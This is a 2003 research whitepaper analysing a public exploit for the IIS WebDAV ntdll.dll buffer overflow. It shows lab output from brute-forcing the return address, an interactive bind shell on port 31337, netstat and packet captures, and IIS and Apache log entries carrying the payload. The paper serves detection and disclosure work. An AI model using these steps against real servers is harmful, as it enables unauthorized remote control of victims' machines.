Analysis of the ntdll.dll WebDAV Exploit

Fate Research Labs
Internet Warfare and Intelligence Team
http://www.fatelabs.com

Date: Tue. March 25, 2003
Research Analysts: Eric Hines

Background

Vulnerability Background

The NTDLL.DLL exploit was first discovered due to the compromise of a military web server on March 17. This was the first publicly documented use of an unpublished exploit; Bugtraq only accounts for a small percentage of the actual exploits and vulnerabilities that exist. This was the first known case where an unreleased or "zero-day" exploit was utilized to compromise machines before it was publicly announced.

A large misconception was that Microsoft's Internet Information Server (IIS) was the problem behind the vulnerability, when in fact it was NTDLL.DLL, a Windows dynamic link library used by the WebDAV component of IIS. NTDLL.DLL ships with all versions of Microsoft Windows 2000, a core operating system component responsible for interacting with the Windows kernel. IIS web server is one of many Windows 2000 applications that utilize the NTDLL library.

WebDAV stands for "Web-based Distributed Authoring and Versioning". It acts as a set of extensions to the HTTP protocol which allows users to collaboratively edit and manage files on remote web servers [wbdvorg]

Immediately upon announcement of the vulnerability to Bugtraq [bid7116], CERT followed up with an advisory announcement providing information and links to patch downloads from Microsoft. [cert200309]

Microsoft Windows 2000 provides support for the WebDAV protocol, which is used by default by the Microsoft IIS web server. A user sending a specially formed HTTP request to a machine running IIS can exploit this vulnerability allowing remote command execution as the security context of the IIS service.

Microsoft has classified this as a *Critical* vulnerability.

Advisories and Vendor Information

Microsoft Security Bulletin: Unchecked Buffer In Windows Component Could Cause Web Server Compromise (815021) [ms03]

CERT Advisory CA-2003-09: Buffer overflow in Core Microsoft Windows DLL [cert200309]

CVE (CAN-2003-0109) [can20030109]

Exploit Analysis

On Tuesday 3/25/03, Roman Medina from Roman Soft Research Labs [rslabs] posted the first truly working, Unix-based exploit for the IIS Webdav vulnerability. Two days later on 3/27/03, Roman Medina posted a follow-up to his original email which contained a simple bash script to automate the brute-forcing of the RET address for the exploit. This analysis paper makes use of both files posted by Roman to Bugtraq.

Additional attack vectors are sure to rise after enough IIS admins have mistakenly only disabled Webdav support rather than patching NTDLL. A web site containing a continuously growing list of applications that use ntdll.dll is provided in the appendix. [ntdll]

rs_iis.c [rmed]

This version that will be analyzed is an exploit posted on March 25 to the Security Focus Bugtraq mailing list, which is the first publicly released version of this exploit for the Unix platform.

The exploit was used on an isolated network using the following systems:

192.168.136.72 - *Windows 2000* Advanced Server (victim) with a default install of IIS 5.0 that shipped with Windows.

192.168.136.250 – *Redhat 8.0* (Attacker)

When executing the exploit without any arguments or switches specified, the attacker is presented with the following output.

Listing 1a: ./rs_iis output from attacker

```
[loki@fatelabs loki]$ ./rs_iis

IIS 5.0 WebDAV Exploit by
RoMaNSoFt <roman@rs-labs.com>.
23/03/2003
Usage: ./rs_iis <target host>
[target port] [bind port] [ret]
E.g 1: ./rs_iis victim.com
E.g 2: ./rs_iis victim.com 80
31337 0x4804
```

Because the attacker must brute force the correct RET value that points to our shellcode, IIS will crash rather than binding the intended shell to the specified port, essentially causing a Denial of Service (DoS) attack against the victim's IIS process.

The rs_brute.sh script posted by Roman to the Bugtraq list was used to brute force the RET address to accomplish successful exploitation of ntdll.dll which would point to our shellcode in memory, binding a shell to port 31337 as we specified in the command line. After 199 tries, the RET address was successfully brute forced.

```
Trying with RET=0xc8c8
[*] Resolving hostname ...
[*] Attacking port 80 at 192.168.136.72 (EIP =
0x00c800c8)...
[*] Now open another console/shell and try to
connect (telnet) to victim port 31337...
[*] Server is vulnerable but the exploit
failed! Change RET value (e.g. 0xce04) and try
again (when IIS is up again) :-/
Waiting for 20 seconds...

Trying with RET=0xc9c9
[*] Resolving hostname ...
[*] Attacking port 80 at 192.168.136.72 (EIP =
0x00c900c9)...
[*] Now open another console/shell and try to
connect (telnet) to victim port 31337...



[loki@localhost ~loki]# telnet 192.168.136.72
80
Trying 192.168.136.72...

[loki@localhost ~loki]# telnet 192.168.136.72
31337
Trying 192.168.136.72...
Connected to 192.168.136.72 (192.168.136.72).
Escape character is '^]'.
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>
C:\WINNT\system32>cd \

C:\>dir
 Volume in drive C has no label.
 Volume Serial Number is 684C-70EA

 Directory of C:\

01/29/2003  03:14p      <DIR>
Documents and Settings
01/29/2003  03:06p      <DIR>          Inetpub
01/29/2003  03:07p      <DIR>          Program
Files
03/24/2003  04:54p      <DIR>          WINNT
               0 File(s)              0 bytes
               4 Dir(s)  34,364,735,488 bytes
free
```

As you can see, unlike the recent Unicode vulnerability, we have a fully interactive shell and prompt to the remote machine, allowing us to execute and see every command we send to the victim host. Because of the escalated privileges we've been dropped in as, we have the capability to copy cmd.exe, remove and create files, as well as other Administrative capabilities.

The netstat –an port listing for the victim machine prior to the successful exploitation of the host has been diagramed below. Notice that because we know the exploit will create a new TCP socket on 31337, I've only shown listening TCP ports on the machine.

Listing 1b: netstat –an of victim host before successful attack

```
H:\>netstat -an

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1042           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1051           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1052           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1053           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1055           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1056           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1071           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1072           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1074           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1075           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1076           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1077           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1078           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1079           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1080           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1081           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1082           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1083           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1088           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1994           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:2490           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:2613           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:2618           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:2621           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:2625           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:2651           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:2661           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:2713           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:3104           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:3635           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:3638           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:4105           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:7774           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:9990           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:9991           0.0.0.0:0              LISTENING
```

Successful Exploit Aftermath
Once the exploit has been successfully executed, the following netstat –an listing demonstrates a new service listening on port 31337.

Listing 1c: netstat –an of victim host after successful attack

```
H:\>netstat -an

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:443            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1042           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1051           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1052           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1053           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1055           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1056           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1071           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1072           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1074           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1075           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1076           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1077           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1078           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1079           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1080           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1081           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1082           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1083           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1088           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1994           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:2613           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:2618           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:2621           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:2625           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:2651           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:2661           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:2713           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:2748           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:2942           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:2943           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:2944           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:2945           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:2962           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:2963           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:3104           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:3165           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:3635           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:3638           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:4105           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:7774           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:9990           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:9991           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:31337          0.0.0.0:0              LISTENING
```

I have also provided an fport.exe [found] listing that shows inetinfo.exe bound to port 31337.

Listing 1d: Fport listing of processes on Victim machine containing port 31337

```
FPort v2.0 - TCP/IP Process to Port Mapper
Copyright 2000 by Foundstone, Inc.
http://www.foundstone.com

Pid   Process            Port  Proto Path
1152  dns            ->  53    TCP   C:\WINNT\System32\dns.exe
1388  inetinfo       ->  80    TCP   C:\WINNT\System32\inetsrv\inetinfo.exe
268   lsass          ->  88    TCP   C:\WINNT\system32\lsass.exe
480   svchost        ->  135   TCP   C:\WINNT\system32\svchost.exe
8     System         ->  139   TCP
268   lsass          ->  389   TCP   C:\WINNT\system32\lsass.exe
1388  inetinfo       ->  443   TCP   C:\WINNT\System32\inetsrv\inetinfo.exe
8     System         ->  445   TCP
268   lsass          ->  464   TCP   C:\WINNT\system32\lsass.exe
480   svchost        ->  593   TCP   C:\WINNT\system32\svchost.exe
268   lsass          ->  636   TCP   C:\WINNT\system32\lsass.exe
268   lsass          ->  1026  TCP   C:\WINNT\system32\lsass.exe
268   lsass          ->  1029  TCP   C:\WINNT\system32\lsass.exe
156   msdtc          ->  1046  TCP   C:\WINNT\System32\msdtc.exe
808   Dfssvc         ->  1048  TCP   C:\WINNT\system32\Dfssvc.exe
872   ismserv        ->  1050  TCP   C:\WINNT\System32\ismserv.exe
872   ismserv        ->  1051  TCP   C:\WINNT\System32\ismserv.exe
872   ismserv        ->  1052  TCP   C:\WINNT\System32\ismserv.exe
872   ismserv        ->  1053  TCP   C:\WINNT\System32\ismserv.exe
1056  MSTask         ->  1056  TCP   C:\WINNT\system32\MSTask.exe
1152  dns            ->  1060  TCP   C:\WINNT\System32\dns.exe
256   services       ->  1062  TCP   C:\WINNT\system32\services.exe
256   services       ->  1063  TCP   C:\WINNT\system32\services.exe
1152  dns            ->  1065  TCP   C:\WINNT\System32\dns.exe
928   ntfrs          ->  1080  TCP   C:\WINNT\system32\ntfrs.exe
828   tcpsvcs        ->  1085  TCP   C:\WINNT\System32\tcpsvcs.exe
928   ntfrs          ->  1112  TCP   C:\WINNT\system32\ntfrs.exe
928   ntfrs          ->  1114  TCP   C:\WINNT\system32\ntfrs.exe
1812  mmc            ->  1121  TCP   C:\WINNT\system32\mmc.exe
8     System         ->  1179  TCP
268   lsass          ->  1355  TCP   C:\WINNT\system32\lsass.exe
828   tcpsvcs        ->  1856  TCP   C:\WINNT\System32\tcpsvcs.exe
1388  inetinfo       ->  2082  TCP   C:\WINNT\System32\inetsrv\inetinfo.exe
268   lsass          ->  3268  TCP   C:\WINNT\system32\lsass.exe
268   lsass          ->  3269  TCP   C:\WINNT\system32\lsass.exe
156   msdtc          ->  3372  TCP   C:\WINNT\System32\msdtc.exe
364   termsrv        ->  3389  TCP   C:\WINNT\System32\termsrv.exe
1388  inetinfo       ->  9860  TCP   C:\WINNT\System32\inetsrv\inetinfo.exe
1388  inetinfo       ->  31337 TCP   C:\WINNT\System32\inetsrv\inetinfo.exe
```

Finally, I have provided several offending packets from the attacking host, captured with Ethereal.

Listing 1d: Packets collected from Ethereal of Successful Attack

```
Frame 6405 (171 on wire, 171 captured)
    Arrival Time: Mar 27, 2003 16:35:58.334473000
    Time delta from previous packet: 0.153616000 seconds
    Time relative to first packet: 1744.666414000 seconds
    Frame Number: 6405
    Packet Length: 171 bytes
    Capture Length: 171 bytes
Ethernet II
    Destination: 00:d0:59:d8:6b:c5 (AMBIT d8:6b:c5)
    Source: 00:08:02:b3:65:26 (Compaq b3:65:26)
    Type: IP (0x0800)
Internet Protocol, Src Addr: 192.168.136.72 (192.168.136.72), Dst Addr: 192.168.136.250
(192.168.136.250)
    Version: 4
    Header length: 20 bytes
    Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
        0000 00.. = Differentiated Services Codepoint: Default (0x00)
        .... ..0. = ECN-Capable Transport (ECT): 0
        .... ...0 = ECN-CE: 0
    Total Length: 157
    Identification: 0x4a51
    Flags: 0x04
        .1.. = Don't fragment: Set
        ..0. = More fragments: Not set
    Fragment offset: 0
    Time to live: 128
    Protocol: TCP (0x06)
    Header checksum: 0x8a6b (correct)
    Source: 192.168.136.72 (192.168.136.72)
    Destination: 192.168.136.250 (192.168.136.250)
Transmission Control Protocol, Src Port: 31337 (31337), Dst Port: 32963 (32963), Seq: 1886279546,
Ack: 1149502096, Len: 105
    Source port: 31337 (31337)
    Destination port: 32963 (32963)
    Sequence number: 1886279546
    Next sequence number: 1886279651
    Acknowledgement number: 1149502096
    Header length: 32 bytes
    Flags: 0x0018 (PSH, ACK)
        0... .... = Congestion Window Reduced (CWR): Not set
        .0.. .... = ECN-Echo: Not set
        ..0. .... = Urgent: Not set
        ...1 .... = Acknowledgment: Set
        .... 1... = Push: Set
        .... .0.. = Reset: Not set
        .... ..0. = Syn: Not set
        .... ...0 = Fin: Not set
    Window size: 17520
    Checksum: 0x878e (correct)
    Options: (12 bytes)
        NOP
        NOP
        Time stamp: tsval 61050, tsecr 621904
Data (105 bytes)

0000  00 d0 59 d8 6b c5 00 08 02 b3 65 26 08 00 45 00   ..Y.k.....e&..E.
0010  00 9d 4a 51 40 00 80 06 8a 6b 0a 2e 88 48 0a 2e   ..JQ@....k...H..
0020  88 fa 7a 69 80 c3 70 6e 57 7a 44 84 02 90 80 18   ..zi..pnWzD.....
0030  44 70 87 8e 00 00 01 01 08 0a 00 00 ee 7a 00 09   Dp...........z..
0040  7d 50 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64   }PMicrosoft Wind
0050  6f 77 73 20 32 30 30 30 20 5b 56 65 72 73 69 6f   ows 2000 [Versio
0060  6e 20 35 2e 30 30 2e 32 31 39 35 5d 0d 0a 28 43   n 5.00.2195]..(C
0070  29 20 43 6f 70 79 72 69 67 68 74 20 31 39 38 35   ) Copyright 1985
0080  2d 32 30 30 30 20 4d 69 63 72 6f 73 6f 66 74 20   -2000 Microsoft
0090  43 6f 72 70 2e 0d 0a 0d 0a 43 3a 5c 57 49 4e 4e   Corp.....C:\WINN
00a0  54 5c 73 79 73 74 65 6d 33 32 3e                 T\system32>
```

```
Frame 6433 (340 on wire, 340 captured)
    Arrival Time: Mar 27, 2003 16:38:59.746071000
    Time delta from previous packet: 0.187537000 seconds
    Time relative to first packet: 1926.078012000 seconds
    Frame Number: 6433
    Packet Length: 340 bytes
    Capture Length: 340 bytes
Ethernet II
    Destination: 00:d0:59:d8:6b:c5 (AMBIT d8:6b:c5)
    Source: 00:08:02:b3:65:26 (Compaq b3:65:26)
    Type: IP (0x0800)
Internet Protocol, Src Addr: 192.168.136.72 (192.168.136.72), Dst Addr: 192.168.136.250
(192.168.136.250)
    Version: 4
    Header length: 20 bytes
    Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
        0000 00.. = Differentiated Services Codepoint: Default (0x00)
        .... ..0. = ECN-Capable Transport (ECT): 0
        .... ...0 = ECN-CE: 0
    Total Length: 326
    Identification: 0x4ad8
    Flags: 0x04
        .1.. = Don't fragment: Set
        ..0. = More fragments: Not set
    Fragment offset: 0
    Time to live: 128
    Protocol: TCP (0x06)
    Header checksum: 0x893b (correct)
    Source: 192.168.136.72 (192.168.136.72)
    Destination: 192.168.136.250 (192.168.136.250)
Transmission Control Protocol, Src Port: 31337 (31337), Dst Port: 32963 (32963), Seq: 1886281084,
Ack: 1149502167, Len: 274
    Source port: 31337 (31337)
    Destination port: 32963 (32963)
    Sequence number: 1886281084
    Next sequence number: 1886281358
    Acknowledgement number: 1149502167
    Header length: 32 bytes
    Flags: 0x0018 (PSH, ACK)
        0... .... = Congestion Window Reduced (CWR): Not set
        .0.. .... = ECN-Echo: Not set
        ..0. .... = Urgent: Not set
        ...1 .... = Acknowledgment: Set
        .... 1... = Push: Set
        .... .0.. = Reset: Not set
        .... ..0. = Syn: Not set
        .... ...0 = Fin: Not set
    Window size: 17449
    Checksum: 0x4482 (correct)
    Options: (12 bytes)
        NOP
        NOP
        Time stamp: tsval 62864, tsecr 640023
Data (274 bytes)

0000  00 d0 59 d8 6b c5 00 08 02 b3 65 26 08 00 45 00   ..Y.k.....e&..E.
0010  01 46 4a d8 40 00 80 06 89 3b 0a 2e 88 48 0a 2e   .FJ.@....;...H..
0020  88 fa 7a 69 80 c3 70 6e 5d 7c 44 84 02 d7 80 18   ..zi..pn]|D.....
0030  44 29 44 82 00 00 01 01 08 0a 00 00 f5 90 00 09   D)D.............
0040  c4 17 20 56 6f 6c 75 6d 65 20 69 6e 20 64 72 69   .. Volume in dri
0050  76 65 20 43 20 68 61 73 20 6e 6f 20 6c 61 62 65   ve C has no labe
0060  6c 2e 0d 0a 20 56 6f 6c 75 6d 65 20 53 65 72 69   l... Volume Seri
0070  61 6c 20 4e 75 6d 62 65 72 20 69 73 20 36 38 34   al Number is 684
0080  43 2d 37 30 45 41 0d 0a 0d 0a 20 44 69 72 65 63   C-70EA.... Direc
0090  74 6f 72 79 20 6f 66 20 43 3a 5c 57 49 4e 4e 54   tory of C:\WINNT
00a0  5c 73 79 73 74 65 6d 33 32 0d 0a 0d 0a 30 35 2f   \system32....05/
00b0  30 34 2f 32 30 30 31 20 20 31 32 3a 30 35 70 20   04/2001  12:05p
00c0  20 20 20 20 20 20 20 20 20 20 20 20 32 33 36 2c               236,
00d0  33 30 34 20 43 4d 44 2e 45 58 45 0d 0a 20 20 20   304 CMD.EXE..
00e0  20 20 20 20 20 20 20 20 20 20 20 31 20 46 69                1 Fi
00f0  6c 65 28 73 29 20 20 20 20 20 20 20 20 32 33 36   le(s)        236
0100  2c 33 30 34 20 62 79 74 65 73 0d 0a 20 20 20 20   ,304 bytes..
```

```
0110  20 20 20 20 20 20 20 20 20 20 20 30 20 44 69 72              0 Dir
0120  28 73 29 20 20 33 34 2c 33 36 34 2c 37 32 33 2c   (s)  34,364,723,
0130  32 30 30 20 62 79 74 65 73 20 66 72 65 65 0d 0a   200 bytes free..
0140  0d 0a 43 3a 5c 57 49 4e 4e 54 5c 73 79 73 74 65   ..C:\WINNT\syste
0150  6d 33 32 3e                                       m32>
```

Log Attack Analysis

Windows IIS Log Entries

```
#Software: Microsoft Internet
Information Services 5.0
#Version: 1.0
#Date: 2003-03-24 15:09:27
#Fields: time c-ip cs-method cs-uri-
stem sc-status

23:33:24 127.0.0.1 SEARCH / 411
#Software: Microsoft Internet
Information Services 5.0
#Version: 1.0
#Date: 2003-03-24 23:33:47
#Fields: time c-ip cs-method cs-uri-
stem sc-status
23:33:47 127.0.0.1 SEARCH / 411
#Software: Microsoft Internet
Information Services 5.0
#Version: 1.0
#Date: 2003-03-24 23:33:50
#Fields: time c-ip cs-method cs-uri-
stem sc-status
23:33:50 127.0.0.1 SEARCH / 411
#Software: Microsoft Internet
Information Services 5.0
#Version: 1.0
#Date: 2003-03-24 23:33:55
#Fields: time c-ip cs-method cs-uri-
stem sc-status
23:33:55 127.0.0.1 SEARCH / 411
#Software: Microsoft Internet
Information Services 5.0
#Version: 1.0
#Date: 2003-03-24 23:34:02
#Fields: time c-ip cs-method cs-uri-
stem sc-status
23:34:02 127.0.0.1 SEARCH / 411
#Software: Microsoft Internet
Information Services 5.0
```

Apache Log Entries

Users running Unix and Apache as their HTTPD web server will see the following errors in their apache access_log file. (def: /usr/local/apache/logs/access_log). For obvious reasons, you will not want to be alarmed as this vulnerability does not affect Unix.

```
######### Apache ACCESS_LOG ##########

192.168.0.1 - - [25/Mar/2003:20:29:53 -
0600] "SEARCH /\x90\x04H\x04H
\x04H\x04H\x04H\x04H\x04H\x04H\x04H\x04
H\x04H\x04H\x04H\x04H\x04H\x04H\x04H\x0
4H\x04H\x04H\x04H\x04H\x04H\x04H\x04H\x
04H\x04H\x04H\x04H\x04H\x04H\x04H\x04H\
x04H\x04H\x04H\x04H\x04H\x04H\x04H\x04H
\x04H\x04H\x04H\x04H\x04H\x04H\x04H\x04
H\x04H\x04H\x04H\x04H\x04H\x04H\x04H\x0
4H\x04H\x04H\x04H\x04H\x04H\x04H\x04H\x
04H\x04H\x04H\x04H\x04H\x04H\x04H\x04H\
x04H\x04H\x04H\x04H\x04H\x04H\x04H\x04H
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90
```

References

[wbvdorg] WebDAV Resources Web Site
http://www.WebDAV.org

[bid7611] Bugtraq ID 7611
http://www.securityfocusonline.com/bid/7116

[cert200309] CERT Coordination Center: Advisory CA-2003-09 Buffer Overflow in Core Microsoft Windows DLL
http://www.cert.org/advisories/CA-2003-09.html

[ms03] Microsoft Security Bulletin MS03-007
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms03-007.asp

[can20030109] Common Vulnerabilities and Exposures (CVE)
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0109

[ntdll] Applications that use NTDLL.DLL Windows 2000 Dynamic Link Library
http://www.bugtoaster.com/dw15/Reports/ApplicationDetail.asp?Company=Microsoft+Corporation&BaseName=ntdll.dll

[rmed] Roman Medina's Webdav IIS Exploit (Unix Version)
http://www.rs-labs.com/exploitsntools/rs_iis.c

[found] Foundstone: Fport
http://www.foundstone.com

Links

Fate Research Labs
http://www.fatelabs.com

Ireland Security Information Center (ISIC), Fate Research Labs Europe
http://www.isiclabs.com

SANS DShield
http://www.dshield.org

Log Analysis
http://www.loganalysis.org

Author's Biography

Eric Hines has worked in the Information Security Industry for over 10 years and is currently the CEO and Chairman of Applied Watch Technologies. Before founding Applied Watch, Mr. Hines worked as a Defense contractor to the Department of Defense, presenting directly to the Deputy CIO of the FAA on addressing their specific security concerns, as well as Intrusion Detection System management technologies to the Defense Information Systems Agency (DISA). Mr. Hines previously held positions as the Manager of Penetration Testing for SBC Datacom/Pacific Telesis Company, NUASIS Corporation, and is the former CEO of a now publicly traded company, AlphaForce.com; a company Mr. Hines founded at the age of 14 and sold to a public company at 17. Eric has been recently nominated by MIT University as one of the Top 100 innovators for 2003.

As a published name under the alias Loki and founder of the research team, Fate Research Labs, Mr. Hines plays an active role in ongoing contributions to Open Disclosure through advisory and exploit research, having published the first advisory on circumventing Virtual Private Network appliances and speaking on the subject at Blackhat Briefings 2001 in Las Vegas, NV.

Mr. Hines' other security-related whitepapers have been published by SANS Institute, OpenBSD.org, LinuxSecurity.com, SecurityFocus.com and was recently interviewed by Wired Magazine.